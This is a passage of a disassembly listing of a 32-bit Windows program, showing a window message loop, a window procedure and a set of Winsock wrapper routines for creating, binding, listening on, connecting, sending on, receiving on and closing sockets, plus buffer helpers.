		push	ecx
		xor	ecx, ecx
		mov	cl, ds:byte_435C04
		push	ecx
		call	sub_40C6A4

loc_414727:				; CODE XREF: sub_4142D6+41Cj
					; sub_4142D6+42Bj
		mov	esi, ds:dword_429268
		jmp	short loc_414743
; ---------------------------------------------------------------------------

loc_41472F:				; CODE XREF: sub_4142D6+478j
		lea	eax, [ebp+68h+var_80]
		push	eax
		call	ds:dword_4291F0	; TranslateMessage
		lea	eax, [ebp+68h+var_80]
		push	eax
		call	ds:dword_429204	; DispatchMessageA

loc_414743:				; CODE XREF: sub_4142D6+457j
		push	ebx
		push	ebx
		lea	eax, [ebp+68h+var_80]
		push	ebx
		push	eax
		call	esi	; GetMessageA
		test	eax, eax
		jg	short loc_41472F
		mov	esi, [ebp+68h+var_78]
		lea	eax, [ebp+68h+var_C]
		call	sub_40D8F7
		mov	eax, esi

loc_41475D:				; CODE XREF: sub_4142D6+353j
		pop	edi
		pop	esi
		pop	ebx
		add	ebp, 68h
		leave
		retn	10h
sub_4142D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414767	proc near		; DATA XREF: sub_4142D6+1B9o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_F		= byte ptr  17h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		dec	eax
		dec	eax
		jz	short loc_4147AE
		sub	eax, 0Fh
		jz	short loc_41477D
		pop	ebp
		jmp	ds:dword_429228
; ---------------------------------------------------------------------------

loc_41477D:				; CODE XREF: sub_414767+Dj
		test	[ebp+arg_F], 80h
		push	ebx
		mov	ebx, offset dword_438154
		jz	short loc_414790
		push	offset dword_430ADC
		jmp	short loc_414795
; ---------------------------------------------------------------------------

loc_414790:				; CODE XREF: sub_414767+20j
		push	offset dword_430ACC

loc_414795:				; CODE XREF: sub_414767+27j
		call	sub_408012
		push	dword ptr [ebp+14h]
		push	[ebp+arg_8]
		push	11h
		push	[ebp+arg_0]
		call	ds:dword_429228	; DefWindowProcA
		pop	ebx
		jmp	short loc_4147B8
; ---------------------------------------------------------------------------

loc_4147AE:				; CODE XREF: sub_414767+8j
		push	0
		call	ds:dword_429220	; PostQuitMessage
		xor	eax, eax

loc_4147B8:				; CODE XREF: sub_414767+45j
		pop	ebp
		retn	10h
sub_414767	endp


; =============== S U B	R O U T	I N E =======================================



sub_4147BC	proc near		; DATA XREF: .text:00430B9Co
		xor	eax, eax
		inc	eax
		retn	2Ch
sub_4147BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147C2	proc near		; CODE XREF: .text:0040A76Cp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		inc	ebx
		cmp	ecx, ebx
		push	esi
		mov	esi, eax
		ja	short loc_4147D8
		or	eax, 0FFFFFFFFh
		jmp	short loc_414849
; ---------------------------------------------------------------------------

loc_4147D8:				; CODE XREF: sub_4147C2+Fj
		test	ecx, ecx
		push	edi
		jbe	short loc_4147E3
		xor	eax, eax
		mov	edi, esi
		rep stosd

loc_4147E3:				; CODE XREF: sub_4147C2+19j
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_41CE46
		cmp	[ebp+arg_4], ebx
		pop	ecx
		pop	ecx
		mov	[esi], eax
		jbe	short loc_414838

loc_4147F7:				; CODE XREF: sub_4147C2+74j
		mov	edi, ebx
		shl	edi, 2
		mov	eax, [edi+esi-4]
		test	eax, eax
		jz	short loc_41482C
		mov	ecx, [ebp+arg_4]
		dec	ecx
		cmp	ebx, ecx
		jnz	short loc_41481D
		push	eax
		call	sub_41C350
		pop	ecx
		mov	ecx, [edi+esi-4]
		lea	eax, [eax+ecx+1]
		jmp	short loc_414829
; ---------------------------------------------------------------------------

loc_41481D:				; CODE XREF: sub_4147C2+48j
		push	[ebp+arg_8]
		push	0
		call	sub_41CE46
		pop	ecx
		pop	ecx

loc_414829:				; CODE XREF: sub_4147C2+59j
		mov	[edi+esi], eax

loc_41482C:				; CODE XREF: sub_4147C2+40j
		cmp	dword ptr [edi+esi], 0
		jz	short loc_414838
		inc	ebx
		cmp	ebx, [ebp+arg_4]
		jb	short loc_4147F7

loc_414838:				; CODE XREF: sub_4147C2+33j
					; sub_4147C2+6Ej
		mov	esi, [esi]
		or	eax, 0FFFFFFFFh
		test	esi, esi
		pop	edi
		jz	short loc_414849
		push	esi
		call	sub_41D59C
		pop	ecx

loc_414849:				; CODE XREF: sub_4147C2+14j
					; sub_4147C2+7Ej
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4147C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41484D	proc near		; CODE XREF: sub_40497E+71p
					; sub_404A16+6Cp ...

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		call	ds:dword_429270	; inet_addr
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_414874
		push	[esp+4+arg_0]
		call	ds:dword_4292B4	; gethostbyname
		test	eax, eax
		jz	short loc_414874
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	esi, [eax]

loc_414874:				; CODE XREF: sub_41484D+10j
					; sub_41484D+1Ej
		mov	eax, esi
		pop	esi
		retn
sub_41484D	endp


; =============== S U B	R O U T	I N E =======================================



sub_414878	proc near		; CODE XREF: sub_4048C1+53p
					; sub_407466+4Ep ...
		push	edi
		mov	edi, esi
		call	sub_404CB9
		lea	edi, [esi+22Ch]
		call	sub_404CB9
		or	dword ptr [esi+458h], 0FFFFFFFFh
		xor	eax, eax
		mov	[esi+46Ch], eax
		mov	[esi+470h], eax
		mov	[esi+474h], al
		mov	eax, esi
		pop	edi
		retn
sub_414878	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148AA	proc near		; CODE XREF: sub_4048C1+5Dp
					; sub_407466+57p ...
		cmp	ecx, 1
		push	esi
		push	2
		mov	esi, eax
		pop	edx
		mov	[esi+460h], ecx
		mov	[esi+45Ch], edx
		jnz	short loc_4148CD
		mov	dword ptr [esi+464h], 6
		jmp	short loc_4148E4
; ---------------------------------------------------------------------------

loc_4148CD:				; CODE XREF: sub_4148AA+15j
		cmp	ecx, edx
		jnz	short loc_4148DD
		mov	dword ptr [esi+464h], 11h
		jmp	short loc_4148E4
; ---------------------------------------------------------------------------

loc_4148DD:				; CODE XREF: sub_4148AA+25j
		and	dword ptr [esi+464h], 0

loc_4148E4:				; CODE XREF: sub_4148AA+21j
					; sub_4148AA+31j
		mov	eax, [esi+464h]
		call	sub_4148F1
		pop	esi
		retn
sub_4148AA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4148F1	proc near		; CODE XREF: sub_4148AA+40p
		push	eax
		push	ecx
		push	edx
		mov	[esi+45Ch], edx
		mov	[esi+460h], ecx
		mov	[esi+464h], eax
		call	ds:dword_4292A8	; socket
		mov	[esi+458h], eax
		retn
sub_4148F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_414913	proc near		; CODE XREF: sub_409BDA+27Bp
					; sub_409BDA+649p ...

arg_0		= byte ptr  4

		push	esi
		push	edi
		mov	eax, 8Bh
		mov	ecx, eax
		lea	esi, [esp+8+arg_0]
		mov	edi, edx
		rep movsd
		lea	edi, [edx+22Ch]
		mov	ecx, eax
		lea	esi, [esp+8+arg_0]
		rep movsd
		pop	edi
		pop	esi
		retn	22Ch
sub_414913	endp


; =============== S U B	R O U T	I N E =======================================



sub_414937	proc near		; CODE XREF: sub_409BDA+36Ap
		cmp	dword ptr [eax], 0
		jnz	short loc_414948
		cmp	dword ptr [eax+22Ch], 0
		jnz	short loc_414948
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_414948:				; CODE XREF: sub_414937+3j
					; sub_414937+Cj
		xor	eax, eax
		inc	eax
		retn
sub_414937	endp


; =============== S U B	R O U T	I N E =======================================



sub_41494C	proc near		; CODE XREF: sub_40FB5A+A5p
					; sub_414997+1Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	8
		lea	eax, [esi+8]
		push	0
		push	eax
		call	sub_41C6D0
		mov	ax, [edi+45Ch]
		push	[esp+0Ch+arg_0]
		mov	[esi], ax
		call	sub_41484D
		add	esp, 10h
		cmp	word ptr [esp+arg_4], 0
		mov	[esi+4], eax
		jnz	short loc_414986
		xor	eax, eax
		mov	ax, [edi+468h]
		push	eax
		jmp	short loc_41498A
; ---------------------------------------------------------------------------

loc_414986:				; CODE XREF: sub_41494C+2Cj
		push	[esp+arg_4]

loc_41498A:				; CODE XREF: sub_41494C+38j
		call	ds:dword_4292E4	; htons
		mov	[esi+2], ax
		retn	8
sub_41494C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414997	proc near		; CODE XREF: sub_4048C1+7Bp
					; .text:00407B36p ...

var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		mov	edi, ecx
		push	offset word_42FE36
		lea	esi, [ebp+var_10]
		mov	[edi+468h], ax
		call	sub_41494C
		push	10h
		mov	eax, esi
		push	eax
		push	dword ptr [edi+458h]
		call	ds:dword_4292C4	; bind
		push	edi
		mov	esi, eax
		call	sub_414BCD
		mov	[edi+468h], ax
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_414997	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4149DD	proc near		; CODE XREF: sub_40E0FA+16p
					; sub_40FC45+3Cp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		test	eax, eax
		push	esi
		mov	esi, ecx
		mov	[ebp+var_4], eax
		jnz	short loc_4149F4
		push	ebx
		xor	ebx, ebx
		call	sub_414AE0
		pop	ebx

loc_4149F4:				; CODE XREF: sub_4149DD+Cj
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	dword ptr [esi+458h]
		call	ds:dword_429288	; ioctlsocket
		pop	esi
		leave
		retn
sub_4149DD	endp


; =============== S U B	R O U T	I N E =======================================



sub_414A0C	proc near		; CODE XREF: .text:00407B46p
					; .text:00408246p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [eax+458h]
		call	ds:dword_4292B8	; listen
		retn	4
sub_414A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A1F	proc near		; CODE XREF: .text:00407BB3p
					; .text:004088A9p ...

var_14		= word ptr -14h
var_12		= dword	ptr -12h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+458h]
		mov	[ebp+var_4], 10h
		call	ds:dword_4292BC	; accept
		push	[ebp+var_12]
		mov	edi, eax
		movsx	eax, [ebp+var_14]
		mov	[esi+458h], edi
		mov	[esi+45Ch], eax
		call	ds:dword_42927C	; htons
		mov	[esi+468h], ax
		mov	eax, edi
		mov	dword ptr [esi+464h], 6
		mov	dword ptr [esi+460h], 1
		pop	edi
		leave
		retn	4
sub_414A1F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414A81	proc near		; CODE XREF: sub_407466+65p
					; sub_407949+4Dp ...

var_10		= byte ptr -10h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		mov	edi, ecx
		push	100h
		push	[ebp+arg_0]
		mov	[edi+468h], ax
		lea	eax, [edi+474h]
		push	eax
		call	sub_41C5A0
		add	esp, 0Ch
		push	0
		push	[ebp+arg_0]
		lea	esi, [ebp+var_10]
		call	sub_41494C
		push	10h
		mov	eax, esi
		push	eax
		push	dword ptr [edi+458h]
		call	ds:dword_42928C	; connect
		pop	edi
		pop	esi
		leave
		retn	4
sub_414A81	endp


; =============== S U B	R O U T	I N E =======================================



sub_414ACD	proc near		; CODE XREF: sub_409A0F+39p
					; sub_40C6A4+59p ...

arg_0		= dword	ptr  4

		call	ds:dword_4292C8	; WSACreateEvent
		mov	ecx, [esp+arg_0]
		mov	[ecx+46Ch], eax
		retn	4
sub_414ACD	endp


; =============== S U B	R O U T	I N E =======================================



sub_414AE0	proc near		; CODE XREF: .text:00407B65p
					; .text:00407BC1p ...
		push	edi
		lea	edi, [esi+46Ch]
		cmp	dword ptr [edi], 0
		jnz	short loc_414AF2
		push	esi
		call	sub_414ACD

loc_414AF2:				; CODE XREF: sub_414AE0+Aj
		push	ebx
		push	dword ptr [edi]
		mov	[esi+470h], ebx
		push	dword ptr [esi+458h]
		call	ds:dword_429298	; WSAEventSelect
		pop	edi
		retn
sub_414AE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B09	proc near		; CODE XREF: sub_414B44+18p
					; sub_414B68+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	dword ptr [eax+458h]
		call	ds:dword_429284	; getpeername
		retn	8
sub_414B09	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B20	proc near		; CODE XREF: .text:0040AD82p
					; .text:0040AEE1p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		call	sub_414B44
		push	[esp+arg_8]
		push	eax
		call	ds:dword_429274	; inet_ntoa
		push	eax
		push	[esp+8+arg_4]
		call	sub_41C5A0
		add	esp, 0Ch
		retn	0Ch
sub_414B20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B44	proc near		; CODE XREF: sub_405771+46p
					; .text:0040ACD7p ...

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	sub_414B09
		mov	eax, [ebp+var_10]
		leave
		retn	4
sub_414B44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B68	proc near		; CODE XREF: .text:004088BEp
					; sub_40B45D+20p ...

var_14		= byte ptr -14h
var_12		= dword	ptr -12h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	sub_414B09
		push	[ebp+var_12]
		call	ds:dword_4292E4	; htons
		leave
		retn	4
sub_414B68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414B92	proc near		; CODE XREF: sub_40CA30+931p

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	sub_414BB6
		mov	eax, [ebp+var_10]
		leave
		retn	4
sub_414B92	endp


; =============== S U B	R O U T	I N E =======================================



sub_414BB6	proc near		; CODE XREF: sub_414B92+18p
					; sub_414BCD+18p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	dword ptr [eax+458h]
		call	ds:dword_42929C	; getsockname
		retn	8
sub_414BB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414BCD	proc near		; CODE XREF: .text:004088C8p
					; sub_40CA30+307p ...

var_14		= byte ptr -14h
var_12		= dword	ptr -12h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], 10h
		call	sub_414BB6
		push	[ebp+var_12]
		call	ds:dword_4292E4	; htons
		leave
		retn	4
sub_414BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_414BF7	proc near		; CODE XREF: sub_414C04+Ep
					; sub_414D44+6Bp
		push	dword ptr [eax+46Ch]
		call	ds:dword_4292B0	; WSAResetEvent
		retn
sub_414BF7	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C04	proc near		; CODE XREF: .text:00407B9Cp
					; .text:004082ECp ...

arg_0		= dword	ptr  4

		push	esi
		lea	esi, [edi+458h]
		cmp	dword ptr [esi], 0
		jnz	short loc_414C17
		mov	eax, edi
		call	sub_414BF7

loc_414C17:				; CODE XREF: sub_414C04+Aj
		push	[esp+4+arg_0]
		push	dword ptr [edi+46Ch]
		push	dword ptr [esi]
		call	ds:dword_429294	; WSAEnumNetworkEvents
		pop	esi
		retn	4
sub_414C04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414C2D	proc near		; CODE XREF: sub_405771+11Ap
					; sub_405771+147p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	[ebp+arg_4]
		call	sub_41BAB5
		push	[ebp+arg_4]
		mov	ebx, eax
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BC60
		xor	esi, esi
		add	esp, 10h
		cmp	[edi], esi
		jz	short loc_414C5B
		push	[ebp+arg_4]
		push	ebx
		push	edi
		call	sub_404D64

loc_414C5B:				; CODE XREF: sub_414C2D+22j
		cmp	[ebp+arg_4], 0
		jle	short loc_414C96

loc_414C61:				; CODE XREF: sub_414C2D+67j
		mov	eax, [ebp+arg_4]
		push	0
		sub	eax, esi
		push	eax
		lea	eax, [esi+ebx]
		push	eax
		push	dword ptr [edi+458h]
		call	ds:dword_4292E0	; send
		test	eax, eax
		mov	[ebp+arg_0], eax
		jle	short loc_414C84
		add	esi, eax
		jmp	short loc_414C91
; ---------------------------------------------------------------------------

loc_414C84:				; CODE XREF: sub_414C2D+51j
		call	ds:dword_429290	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_414C96

loc_414C91:				; CODE XREF: sub_414C2D+55j
		cmp	esi, [ebp+arg_4]
		jl	short loc_414C61

loc_414C96:				; CODE XREF: sub_414C2D+32j
					; sub_414C2D+62j
		push	ebx
		call	sub_41CA28
		mov	eax, [ebp+arg_0]
		pop	ecx
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_414C2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CA6	proc near		; CODE XREF: sub_407466+E8p
					; sub_407949+7Bp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	ebx
		push	esi
		lea	eax, [esp+8+arg_4]
		push	eax
		push	[esp+0Ch+arg_0]
		call	sub_41D258
		mov	esi, eax
		lea	eax, [esi+1]
		push	eax
		call	sub_41BAB5
		mov	ebx, eax
		lea	eax, [esp+14h+arg_4]
		push	eax
		push	[esp+18h+arg_0]
		push	ebx
		call	sub_41D201
		add	esp, 18h
		push	esi
		push	ebx
		call	sub_414C2D
		push	ebx
		mov	esi, eax
		call	sub_41CA28
		pop	ecx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_414CA6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414CEA	proc near		; CODE XREF: sub_40FB5A+B4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		push	[esp+4+arg_8]
		push	0
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		push	dword ptr [eax+458h]
		call	ds:dword_4292A4	; sendto
		retn	10h
sub_414CEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D0B	proc near		; CODE XREF: sub_405771+138p
					; sub_405771+15Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		push	0
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+458h]
		call	ds:dword_4292D8	; recv
		mov	edi, eax
		lea	eax, [esi+22Ch]
		cmp	dword ptr [eax], 0
		jz	short loc_414D3E
		test	edi, edi
		jle	short loc_414D3E
		push	edi
		push	[esp+8+arg_0]
		push	eax
		call	sub_404D64

loc_414D3E:				; CODE XREF: sub_414D0B+22j
					; sub_414D0B+26j
		mov	eax, edi
		pop	edi
		retn	8
sub_414D0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D44	proc near		; CODE XREF: sub_4048C1+8Dp
					; sub_4048C1:loc_40495Bp ...

var_400		= byte ptr -400h
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	esi
		push	edi
		push	2
		mov	esi, eax
		call	sub_414DBA
		and	dword ptr [esi+470h], 0

loc_414D5F:				; CODE XREF: sub_414D44+2Ej
		push	400h
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_414D0B
		test	eax, eax
		jg	short loc_414D5F
		lea	edi, [esi+458h]
		mov	eax, [edi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414D91
		test	[ebp+arg_0], 1
		jz	short loc_414D91
		push	eax
		call	ds:dword_4292AC	; closesocket
		or	dword ptr [edi], 0FFFFFFFFh

loc_414D91:				; CODE XREF: sub_414D44+3Bj
					; sub_414D44+41j
		lea	edi, [esi+46Ch]
		mov	eax, [edi]
		test	eax, eax
		jz	short loc_414DAD
		test	[ebp+arg_0], 2
		jz	short loc_414DAD
		push	eax
		call	ds:dword_429280	; WSACloseEvent
		and	dword ptr [edi], 0

loc_414DAD:				; CODE XREF: sub_414D44+57j
					; sub_414D44+5Dj
		mov	eax, esi
		call	sub_414BF7
		pop	edi
		pop	esi
		leave
		retn	4
sub_414D44	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DBA	proc near		; CODE XREF: sub_407C12+E4p
					; .text:004084E3p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		push	dword ptr [eax+458h]
		call	ds:dword_4292A0	; shutdown
		retn	4
sub_414DBA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414DCD	proc near		; CODE XREF: .text:0040BB21p
		mov	eax, offset loc_427A2D
		call	sub_41E550
		push	esi
		mov	esi, [ebp+8]
		and	dword ptr [esi+4], 0
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		and	dword ptr [ebp-4], 0
		mov	eax, [ebp+0Ch]
		push	dword ptr [ebp+10h]
		mov	dword ptr [esi], offset	off_430B84
		mov	[esi+10h], eax
		call	sub_41C350
		inc	eax
		push	eax
		call	sub_41BAB5
		push	dword ptr [ebp+10h]
		mov	[esi+14h], eax
		push	eax
		call	sub_41C930
		mov	eax, [ebp+14h]
		add	esp, 10h
		mov	[esi+18h], eax
		call	sub_416AC4
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	10h
sub_414DCD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_414E2D	proc near		; DATA XREF: .text:00430B88o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_414E49
		test	[esp+4+arg_0], 1
		jz	short loc_414E43
		push	esi
		call	sub_41C7B8
		pop	ecx

loc_414E43:				; CODE XREF: sub_414E2D+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414E2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_414E49	proc near		; CODE XREF: sub_414E2D+3p
		push	dword ptr [esi+14h]
		mov	dword ptr [esi], offset	off_430B84
		call	sub_41C7B8
		pop	ecx
		mov	ecx, esi
		jmp	sub_416AA6
sub_414E49	endp

; ---------------------------------------------------------------------------

loc_414E5F:				; DATA XREF: .text:off_430B84o
		push	esi
		mov	esi, ecx
		push	dword ptr [esi+14h]
		call	sub_41484D
		pop	ecx
		mov	ecx, [esi+18h]
		push	0
		mov	[ecx], eax
		call	ds:dword_429290	; WSAGetLastError
		push	eax
		push	401h
		push	dword ptr [esi+10h]
		call	ds:dword_4291FC	; PostThreadMessageA
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_414E89	proc near		; CODE XREF: sub_407466+F3p
					; sub_40805D+33p ...
		xor	ecx, ecx
		mov	[eax+14h], ecx
		mov	[eax], ecx
		mov	[eax+0Ch], ecx
		mov	[eax+10h], ecx
		mov	[eax+18h], ecx
		mov	[eax+1Ch], ecx
		mov	[eax+20h], ecx
		mov	[eax+4], ecx
		retn
sub_414E89	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EA3	proc near		; CODE XREF: sub_407466+255p
					; sub_40818D+4Cp ...
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_414EB5
		push	eax
		call	sub_41C7B8
		and	dword ptr [esi+14h], 0
		pop	ecx

loc_414EB5:				; CODE XREF: sub_414EA3+5j
		mov	eax, [esi]
		test	eax, eax
		jz	short locret_414EC5
		push	eax
		call	sub_41C7B8
		and	dword ptr [esi], 0
		pop	ecx

locret_414EC5:				; CODE XREF: sub_414EA3+16j
		retn
sub_414EA3	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EC6	proc near		; CODE XREF: sub_407466+FFp
					; sub_40805D+4Ep ...
		push	edi
		mov	[esi+8], edi
		call	sub_41BAB5
		push	edi
		mov	[esi+14h], eax
		call	sub_41BAB5
		pop	ecx
		pop	ecx
		mov	[esi], eax
		retn
sub_414EC6	endp


; =============== S U B	R O U T	I N E =======================================



sub_414EDD	proc near		; CODE XREF: sub_407466+11Ap
					; sub_407C12+27p ...

arg_0		= dword	ptr  4

		mov	eax, [edi+0Ch]
		mov	ecx, [edi+8]
		sub	ecx, eax
		push	esi
		push	ecx
		mov	ecx, [edi+14h]
		add	ecx, eax
		push	0
		push	ecx
		call	sub_41C6D0
		mov	eax, [edi+0Ch]
		mov	ecx, [edi+8]
		mov	esi, [esp+10h+arg_0]
		sub	ecx, eax
		add	esp, 0Ch
		push	ecx
		mov	ecx, [edi+14h]
		add	ecx, eax
		push	ecx
		call	sub_414D0B
		test	eax, eax
		jl	short loc_414F3C
		mov	ecx, [edi+0Ch]
		mov	esi, [edi+18h]
		add	ecx, eax
		test	esi, esi
		mov	[edi+4], ecx
		jz	short loc_414F3C
		mov	edx, [edi+1Ch]
		push	ebx
		mov	ebx, esi
		sub	ebx, edx
		cmp	ebx, ecx
		mov	[edi+20h], edx
		pop	ebx
		jge	short loc_414F37
		mov	[edi+1Ch], esi
		jmp	short loc_414F3C
; ---------------------------------------------------------------------------

loc_414F37:				; CODE XREF: sub_414EDD+53j
		add	edx, ecx
		mov	[edi+1Ch], edx

loc_414F3C:				; CODE XREF: sub_414EDD+34j
					; sub_414EDD+43j ...
		pop	esi
		retn	4
sub_414EDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F40	proc near		; CODE XREF: sub_407466+1F6p
					; sub_407C12+FDp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		xor	edi, edi
		cmp	[esi+4], edi
		jle	loc_414FE7

loc_414F50:				; CODE XREF: sub_414F40+53j
		mov	eax, [esi+14h]
		mov	ecx, [esi]
		mov	al, [edi+eax]
		mov	[edi+ecx], al
		xor	ecx, ecx
		test	ebx, ebx
		jl	short loc_414F86
		mov	eax, [esi+14h]
		add	eax, edi
		mov	[ebp+var_4], eax

loc_414F69:				; CODE XREF: sub_414F40+44j
		mov	al, [eax]
		mov	edx, [ebp+arg_0]
		cmp	al, [ecx+edx]
		jnz	short loc_414F86
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jz	short loc_414F97
		mov	eax, [ebp+var_4]
		inc	ecx
		inc	eax
		cmp	ecx, ebx
		mov	[ebp+var_4], eax
		jle	short loc_414F69

loc_414F86:				; CODE XREF: sub_414F40+1Fj
					; sub_414F40+31j
		mov	eax, [esi+8]
		sub	eax, ebx
		cmp	edi, eax
		jz	short loc_414FD7
		inc	edi
		cmp	edi, [esi+4]
		jl	short loc_414F50
		jmp	short loc_414FE7
; ---------------------------------------------------------------------------

loc_414F97:				; CODE XREF: sub_414F40+38j
		mov	eax, [esi]
		push	ebx
		add	eax, edi
		push	0
		push	eax
		call	sub_41C6D0
		mov	ecx, [esi+8]
		mov	eax, [esi+14h]
		sub	ecx, edi
		sub	ecx, ebx
		push	ecx
		lea	ecx, [eax+edi]
		add	ecx, ebx
		push	ecx
		push	eax
		call	sub_41BC60
		add	edi, ebx
		sub	[esi+4], edi
		add	esp, 18h
		cmp	dword ptr [esi+10h], 0
		jz	short loc_414FD2
		mov	eax, [esi]
		and	dword ptr [esi+10h], 0
		mov	byte ptr [eax],	0

loc_414FD2:				; CODE XREF: sub_414F40+87j
		xor	eax, eax
		inc	eax
		jmp	short loc_414FEC
; ---------------------------------------------------------------------------

loc_414FD7:				; CODE XREF: sub_414F40+4Dj
		mov	eax, [esi]
		and	dword ptr [esi+4], 0
		mov	dword ptr [esi+10h], 1
		mov	byte ptr [eax],	0

loc_414FE7:				; CODE XREF: sub_414F40+Aj
					; sub_414F40+55j
		mov	[esi+0Ch], edi
		xor	eax, eax

loc_414FEC:				; CODE XREF: sub_414F40+95j
		pop	edi
		leave
		retn	4
sub_414F40	endp


; =============== S U B	R O U T	I N E =======================================



sub_414FF1	proc near		; CODE XREF: sub_407466+2A9p
